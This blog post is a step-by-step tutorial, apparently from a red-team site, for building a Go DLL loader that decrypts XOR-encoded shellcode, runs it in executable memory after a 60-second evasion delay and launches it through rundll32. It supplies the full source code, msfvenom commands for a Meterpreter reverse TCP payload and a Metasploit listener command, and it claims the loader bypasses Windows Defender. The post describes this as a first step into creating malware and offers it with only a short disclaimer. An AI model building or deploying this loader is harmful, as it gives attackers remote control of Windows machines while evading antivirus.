Top Categories

Spotlight

todayJanuary 2, 2024

Red Teaming + Social Engineering krptyk

Reverse Proxy Phishing With Evilginx

Reverse proxy phishing with Evilginx is a technique where a phishing site acts as a proxy server, intercepting legitimate requests and forwarding them to the genuine website while capturing sensitive information from users. This approach allows us to create convincing phishing campaigns by seamlessly proxying the target site, making it [...]


Creating a DLL Shellcode Loader in Golang to Bypass Defender: A Step-by-Step Guide

Cyber security + Penetration Testing krptyk todaySeptember 20, 2023

Background
share close

In today’s blog post, we are going to explore the creation and functioning of a dynamic shellcode loader tailored for Windows. This loader is instrumental in bypassing specific security measures in Windows environments. Before we dive in, it is crucial to note that this tutorial is for educational purposes only and should be utilized responsibly – I take no responsibility for how you use this code. Before I receive questions regarding this, at the time of posting this is able to bypass Windows Defender using a Meterpreter stageless payload. (Don’t complain to me when you drop into a shell and it gets detected – it just means its time for you to do some research)

Nothing below here is novel or new and I have to thank the countless others who have shared their work in which this is built upon. This won’t get past any EDR (at least it shouldn’t, the detection’s in this are very easy). You should view this as your first step into creating some malware.

Before we begin – if you haven’t gone through the post on how to XOR encrypt your shellcode to avoid static detection, click below:

Step 1: The Compilation Environment

For this process I will be building this out in Kali Linux as my development environment. Take note of the following:

/*compile: CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build -buildmode=c-shared -o bypassdll.dll bypassdll.go
Currently bypasses:
Defender:
    Small ReverseShell: YES
    Meterpreter Stageless: YES
HitmanPro (Sophos)
    Small Reverse shell: YESDllEntryPoint
    Meterpreter Stageless: No (VirtualAlloc detected)*/

In this initial block, we take note of the necessary parameters to build our loader for a Windows environment. The compile command uses a mingw-w64 GCC compiler targeting a Windows OS with an AMD64 architecture. We enable CGO and build it as a shared library with output as bypassdll.dll.

Step 2: Import Necessary Packages

package main

// #cgo windows CFLAGS: -D_WIN32
// #cgo windows LDFLAGS: -lntdll
// #include <windows.h>
// #include <stdlib.h>
import "C"

import (
	"fmt"
	"syscall"
	"time"
	"unsafe"
)

Here we are importing the necessary packages and libraries to facilitate our loader’s functionalities. We are importing Windows and standard library headers in the C space. In Go, we are importing formats, system calls, time, and unsafe packages to work with low-level memory and system services. I wanted this code to be totally independent from anyone packages to make this process as easy as possible to follow along.

Step 3: Define Constants and Variables

const (
	MEM_COMMIT             = 0x1000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	ntdll                       = syscall.NewLazyDLL("ntdll.dll")
	procNtAllocateVirtualMemory = ntdll.NewProc("NtAllocateVirtualMemory")
)

Here we define the constants MEM_COMMIT and PAGE_EXECUTE_READWRITE to set memory allocation and protection flags, respectively. Following this, we dynamically load ntdll.dll and get a procedure address for NtAllocateVirtualMemory to allocate memory space in the later steps.

Step 4: Create Function for XOR Decryption

func xorDecrypt(shellcode []byte, key byte) {
	for i := range shellcode {
		shellcode[i] ^= key
	}
}

We then craft a function that will decrypt the shellcode using a simple XOR algorithm. This function loops through each byte in the shellcode array, performing an XOR operation with a predefined key. This works with the XOR encryption code we wrote in our previous post.

Step 5: Memory Allocation Function

func allocate(size uintptr) (addr uintptr, err error) {
	zero := uintptr(0)
	r1, _, e1 := procNtAllocateVirtualMemory.Call(uintptr(^uintptr(0)), uintptr(unsafe.Pointer(&zero)), uintptr(0), uintptr(unsafe.Pointer(&size)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	if r1 != 0 {
		err = e1
	}
	addr = zero
	return

Here we define a function to allocate memory using the NtAllocateVirtualMemory function we previously obtained a handle to. This function will return the address of the allocated memory and an error if the allocation fails.

//export ExecuteShellcode for use with rundll32.exe
func ExecuteShellcode() {
	// Encrypted shellcode
	encryptedShellcode := []byte{/* SHELLCODE HERE*/}
 // Replace with your encrypted shellcode

	// XOR decryption key
	key := byte(31) // XOR decryption key

	// Decrypt the shellcode
	xorDecrypt(encryptedShellcode, key)

	// Allocate memory with READWRITE permission
	addr, err := allocate(uintptr(len(encryptedShellcode)))
	if err != nil {
		panic(fmt.Sprintf("Failed to allocate memory: %v", err))
	}

	// Copy the decrypted shellcode into the allocated memory
	copy((*[250000]byte)(unsafe.Pointer(addr))[:], encryptedShellcode)

	// Wait 1 minute before executing the shellcode
	time.Sleep(60 * time.Second)

	// Convert the address to a function pointer and call it
	funcPtr := syscall.NewCallback(func() uintptr {
		// Execute the shellcode
		syscall.Syscall(addr, 0, 0, 0, 0)
		return 0
	})
	syscall.Syscall(funcPtr, 0, 0, 0, 0)
}

This function is the heart of our loader, doing several things:

  1. Defining the Encrypted Shellcode and Decryption Key
    It starts by defining the encrypted shellcode and the key for decryption. Replace /* SHELLCODE HERE*/ with with the encrypted shellcode that we created in our XOR encryption code.
  2. Decrypting the Shellcode
    It then calls the xorDecrypt function to decrypt the shellcode in-place.
  3. Allocating Memory
    After decryption, it allocates memory space for the shellcode using the allocate function.
  4. Copying the Shellcode
    The decrypted shellcode is then copied to the allocated memory space.
  5. Delay Execution
    To delay the execution, it waits for 60 seconds before proceeding to the next step. This step is crucial – I’ve done multiple tests delaying the execution is pivotal for this code to execute undetected.
  6. Executing the Shellcode
    Finally, it creates a function pointer to the shellcode’s memory address and invokes it, executing the shellcode.
func main() {}

This is the entry point of our Go program, which is currently empty as our primary functionality is encapsulated in the ExecuteShellcode function, which is meant to be called from external programs thanks to the //export directive.

Bypassing Defender

Let’s put it all together – We will encrypt a Windows stageless Meterpreter reverse shell from the XOR encryption code in the previous post and output it to a file named Shellcode.txt. The command is as follows:

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=<IP Address> lport=1337 -f raw 2>/dev/null | go run GoXOR.go -t go -x 31 >> Shellcode.txt

Once we have our encrypted shellcode we can open our Go shellcode loader we have been creating and add our shellcode into the line:

encryptedShellcode := []byte{/* SHELLCODE HERE*/}

It should look similar to the following (don’t include the buf := []byte – our code uses the variable encryptedShellcode := []byte)

Double check that your decryption key is the same as the encryption key that you set and add it to the line:

key := byte(*/Your decryption Key*/) // XOR decryption key

It should look like the following, in my case I am using the key 31:

Once that process is complete, we can create our DLL file with our encrypted shellcode in it that will bypass Windows Defender. Execute the following command to compile our program:

CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build -buildmode=c-shared -o bypassdll.dll bypassdll.go

Now that we have our successfully compiled .dll file, we need to create our listener to have the reverse shell to connect back to. We will use Metasploits multi handler with the following command:

msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter_reverse_tcp;set LHOST <listening_host>;set LPORT <listening_port>;run;"

Our multi handler is now listening for and reverse shells connecting back and all that is left to do is execute the payload on our windows machine using Rundll32.exe:

PS C:\>Rundll32.exe .\bypassdll.dll,ExecuteShellcode

Once that is run, wait the 60 seconds and you will receive a call back to your Meterpreter multi handler and Defender won’t pick it up at all.

Conclusion

In this detailed walkthrough, we dissected a shellcode loader, understanding the role and function of each section in it. The script showcases the integration of Go with Windows APIs to perform low-level operations such as memory allocation and dynamic execution of shellcode, which are powerful techniques but should be used responsibly and ethically.

Final Code:

/*
Title: Dynamic Shellcode Loader
Author: Krptyk
Version: 0.0.1

Description:
This script is a Go implementation of a dynamic shellcode loader for Windows. It is designed to decrypt and execute encrypted shellcode in memory, leveraging Windows API functionalities to allocate memory, set appropriate permissions, and finally execute the shellcode via utilising rundll32.exe with an insertion point of ExecuteShellcode.

Usage:
1. Replace "SHELLCODE HERE" with your encrypted shellcode in the "encryptedShellcode" array.
2. Adjust the "key" variable to match the key used to encrypt the shellcode.
3. Compile the Go script using the appropriate flags to generate a Windows compatible binary or DLL.
4. Execute the compiled binary/DLL to run the shellcode in a Windows environment. e.g rundll32.exe bypassdll.dll,ExecuteShellcode

Security Warning:
This script is intended for educational and research purposes only. Utilize it responsibly and ethically, adhering to legal guidelines and consented environments. The creator assumes no responsibility for misuse or any potential damage arising from the use of this script.

Compilation:
Recommended compilation command (suitable for Windows):
CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build -buildmode=c-shared -o bypassdll.dll bypassdll.go

Change Log:
- Version 0.0.1: Initial version with basic functionalities of decrypting and executing encrypted shellcode in memory.

*/


package main

// #cgo windows CFLAGS: -D_WIN32
// #cgo windows LDFLAGS: -lntdll
// #include <windows.h>
// #include <stdlib.h>
import "C"

import (
	"fmt"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	ntdll                       = syscall.NewLazyDLL("ntdll.dll")
	procNtAllocateVirtualMemory = ntdll.NewProc("NtAllocateVirtualMemory")
)

func xorDecrypt(shellcode []byte, key byte) {
	for i := range shellcode {
		shellcode[i] ^= key
	}
}

func allocate(size uintptr) (addr uintptr, err error) {
	zero := uintptr(0)
	r1, _, e1 := procNtAllocateVirtualMemory.Call(uintptr(^uintptr(0)), uintptr(unsafe.Pointer(&zero)), uintptr(0), uintptr(unsafe.Pointer(&size)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	if r1 != 0 {
		err = e1
	}
	addr = zero
	return
}

//export ExecuteShellcode
func ExecuteShellcode() {
	// Encrypted shellcode
	encryptedShellcode := []byte{/* SHELLCODE HERE*/} // Replace with your encrypted shellcode

	// XOR decryption key
	key := byte(/*ADD YOUR ENCRYPTION KEY HERE*/) // XOR decryption key

	// Decrypt the shellcode
	xorDecrypt(encryptedShellcode, key)

	// Allocate memory with READWRITE permission
	addr, err := allocate(uintptr(len(encryptedShellcode)))
	if err != nil {
		panic(fmt.Sprintf("Failed to allocate memory: %v", err))
	}

	// Copy the decrypted shellcode into the allocated memory - change the amount as necessary
	copy((*[250000]byte)(unsafe.Pointer(addr))[:], encryptedShellcode)

	// Wait 1 minute before executing the shellcode
	time.Sleep(60 * time.Second)

	// Convert the address to a function pointer and call it
	funcPtr := syscall.NewCallback(func() uintptr {
		// Execute the shellcode
		syscall.Syscall(addr, 0, 0, 0, 0)
		return 0
	})
	syscall.Syscall(funcPtr, 0, 0, 0, 0)
}

func main() {}

Written by: krptyk

Tagged as: .

Rate it

Previous post

Post comments (0)

Leave a reply

Your email address will not be published. Required fields are marked *